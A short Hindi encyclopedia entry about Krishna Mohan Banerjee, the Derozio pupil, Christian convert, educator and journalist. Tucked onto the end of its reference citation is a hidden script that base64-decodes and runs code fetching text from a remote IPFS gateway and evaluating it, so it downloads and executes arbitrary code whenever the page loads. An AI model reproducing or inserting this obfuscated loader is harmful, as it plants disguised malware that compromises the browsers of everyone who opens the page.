कृष्णमोहन बनर्जी

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कृष्णमोहन बनर्जी बंगाल में 1828 ई. में प्रारम्भ किये गए यंग बंगाल आन्दोलन के प्रवर्तक 'हेनरी विविनय डेरोजियो' (1809-1831 ई.) के प्रारम्भिक शिष्यों में से एक थे तथा हिन्दू कॉलेज के आदर्श स्नातक थे। इनका जन्म कलकत्ता (वर्तमन कोलकाता) के एक ब्राह्मण परिवार में हुआ था।

  • कृष्णमोहन बनर्जी पश्चिम के बुद्धिवाद प्रभाव से बहुत अधिक प्रभावित थे।
  • इस प्रभाव के कारण ही इन्होंने अपना पैतृक हिन्दू धर्म छोड़ दिया और ईसाई बन गये।
  • अपने जीवन के अन्तिम दिनों में वे पादरी बन गये थे।
  • कृष्णमोहन बनर्जी एक मान्य शिक्षाविद् एवं पत्रकार भी थे।
  • अपने समय के राजनीतिक आन्दोलनों में भी वे भाग लेते थे।
  • इन्हें इण्डियन एसोसिएशन का प्रथम मन्त्री नियुस्त किया गया था।
  • ये कलकत्ता विश्वविद्यालय के सीनेट के प्रारम्भिक सदस्यों में से एक थे।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 268 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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